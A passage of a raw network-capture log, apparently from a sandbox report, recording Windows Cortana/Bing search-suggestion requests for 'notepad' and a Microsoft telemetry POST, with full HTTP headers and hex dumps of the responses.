{92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:39 UTC	1065	IN	HTTP/1.1 200 OK Content-Length: 9415 Content-Type: application/json; charset=utf-8 Cache-Control: no-cache, no-store, must-revalidate Expires: -1 Pragma: no-cache X-EventID: 65b378b3900b490fac8566c6f2a19189 X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 26 Jan 2024 09:17:39 GMT Connection: close Set-Cookie: _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; domain=.bing.com; expires=Wed, 19-Feb-2025 09:17:39 GMT; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260659.4830ee1a
2024-01-26 09:17:39 UTC	9415	IN	Data Raw: 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 2c 22 53 75 67 67 65 73 74 69 6f 6e 73 22 3a 5b 7b 22 41 74 74 72 69 62 75 74 65 73 22 3a 7b 22 75 72 6c 22 3a 22 2f 73 65 61 72 63 68 3f 71 3d 6e 6f 74 65 70 61 64 5c 75 30 30 32 36 66 69 Data Ascii: {"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}},"Suggestions":[{"Attributes":{"url":"/search?q=notepad\u0026fi

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.16	49743	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:39 UTC	2387	OUT	GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=not&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=3&cvid=693df9a8be554bffb57e511bdf55aece&ig=50d2b87074774724b6850446aacdb75f HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1696585056 X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStore X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:39 UTC	1065	IN	HTTP/1.1 200 OK Content-Length: 9443 Content-Type: application/json; charset=utf-8 Cache-Control: no-cache, no-store, must-revalidate Expires: -1 Pragma: no-cache X-EventID: 65b378b36c74411fbb34133da4465463 X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 26 Jan 2024 09:17:39 GMT Connection: close Set-Cookie: _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; domain=.bing.com; expires=Wed, 19-Feb-2025 09:17:39 GMT; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260659.4830ee39
2024-01-26 09:17:39 UTC	9443	IN	Data Raw: 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 2c 22 53 75 67 67 65 73 74 69 6f 6e 73 22 3a 5b 7b 22 41 74 74 72 69 62 75 74 65 73 22 3a 7b 22 75 72 6c 22 3a 22 2f 73 65 61 72 63 68 3f 71 3d 6e 6f 74 65 70 61 64 5c 75 30 30 32 36 66 69 Data Ascii: {"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}},"Suggestions":[{"Attributes":{"url":"/search?q=notepad\u0026fi

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.16	49744	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:39 UTC	2388	OUT	GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=note&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=4&cvid=693df9a8be554bffb57e511bdf55aece&ig=c55f8a7eebf549768d9456d6913e67dd HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1696585056 X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStore X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:39 UTC	1065	IN	HTTP/1.1 200 OK Content-Length: 9679 Content-Type: application/json; charset=utf-8 Cache-Control: no-cache, no-store, must-revalidate Expires: -1 Pragma: no-cache X-EventID: 65b378b376a349ad8e9720dd14fd231e X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 26 Jan 2024 09:17:39 GMT Connection: close Set-Cookie: _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; domain=.bing.com; expires=Wed, 19-Feb-2025 09:17:39 GMT; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260659.4830ee9d
2024-01-26 09:17:39 UTC	9679	IN	Data Raw: 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 2c 22 53 75 67 67 65 73 74 69 6f 6e 73 22 3a 5b 7b 22 41 74 74 72 69 62 75 74 65 73 22 3a 7b 22 75 72 6c 22 3a 22 2f 73 65 61 72 63 68 3f 71 3d 6e 6f 74 65 70 61 64 5c 75 30 30 32 36 66 69 Data Ascii: {"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}},"Suggestions":[{"Attributes":{"url":"/search?q=notepad\u0026fi

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.16	49746	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:39 UTC	2389	OUT	GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=notep&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=5&cvid=693df9a8be554bffb57e511bdf55aece&ig=0590a8c6ac774e3ab659489fe9e8f292 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1696585056 X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStore X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:39 UTC	1065	IN	HTTP/1.1 200 OK Content-Length: 9249 Content-Type: application/json; charset=utf-8 Cache-Control: no-cache, no-store, must-revalidate Expires: -1 Pragma: no-cache X-EventID: 65b378b360514a29bdc657cb5eda3b93 X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 26 Jan 2024 09:17:39 GMT Connection: close Set-Cookie: _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; domain=.bing.com; expires=Wed, 19-Feb-2025 09:17:39 GMT; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260659.4830ef76
2024-01-26 09:17:39 UTC	9249	IN	Data Raw: 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 2c 22 53 75 67 67 65 73 74 69 6f 6e 73 22 3a 5b 7b 22 41 74 74 72 69 62 75 74 65 73 22 3a 7b 22 75 72 6c 22 3a 22 2f 73 65 61 72 63 68 3f 71 3d 6e 6f 74 65 70 61 64 5c 75 30 30 32 36 66 69 Data Ascii: {"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}},"Suggestions":[{"Attributes":{"url":"/search?q=notepad\u0026fi

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.16	49745	13.89.179.11	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:39 UTC	685	OUT	POST /Collector/3.0/?qsp=true&content-type=application%2Fbond-compact-binary&client-id=NO_AUTH&sdk-version=AWT-Web-CJS-1.2.0&x-apikey=33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176 HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: browser.pipe.aria.microsoft.com Content-Length: 1070 Connection: Keep-Alive Cache-Control: no-cache
2024-01-26 09:17:39 UTC	1070	OUT	Data Raw: 6d 09 0b 01 4a 33 33 64 37 30 61 38 36 34 35 39 39 34 39 36 62 39 38 32 61 33 39 66 30 33 36 66 37 31 31 32 32 2d 32 30 36 34 37 30 33 65 2d 33 61 39 64 2d 34 64 39 30 2d 38 33 36 32 2d 65 65 63 30 38 64 66 66 65 38 65 38 2d 37 31 37 36 0a 01 49 12 61 63 74 5f 64 65 66 61 75 6c 74 5f 73 6f 75 72 63 65 a9 24 35 36 62 35 62 30 62 33 2d 35 65 66 39 2d 34 37 32 36 2d 38 37 30 32 2d 66 31 38 65 31 62 37 39 61 38 34 34 d1 06 86 e6 fb d0 a8 63 cb 08 0a 01 29 24 39 34 31 39 34 63 65 38 2d 34 31 35 61 2d 34 31 35 63 2d 61 34 37 34 2d 65 66 62 33 39 62 62 37 30 34 32 65 71 9e d6 fb d0 a8 63 a9 14 63 75 73 74 6f 6d 2e 43 6c 69 65 6e 74 5f 45 76 65 6e 74 73 c9 06 0e 76 61 72 69 61 6e 74 5f 65 76 65 6e 74 73 cd 0d 09 09 19 0a 64 65 76 69 63 65 54 79 70 65 07 44 45 53 Data Ascii: mJ33d70a864599496b982a39f036f71122-2064703e-3a9d-4d90-8362-eec08dffe8e8-7176Iact_default_source$56b5b0b3-5ef9-4726-8702-f18e1b79a844c)$94194ce8-415a-415c-a474-efb39bb7042eqccustom.Client_Eventsvariant_eventsdeviceTypeDES
2024-01-26 09:17:39 UTC	462	IN	HTTP/1.1 200 OK Content-Length: 0 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 time-delta-millis: 1207 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST Access-Control-Allow-Headers: Accept, Content-Type, Content-Encoding, Client-Id Access-Control-Expose-Headers: kill-tokens, kill-duration-seconds, time-delta-millis Date: Fri, 26 Jan 2024 09:17:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.16	49747	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:39 UTC	2390	OUT	GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=notepa&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=6&cvid=693df9a8be554bffb57e511bdf55aece&ig=916141930a7c43bcb8314a88e833d4d1 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1696585056 X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStore X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; 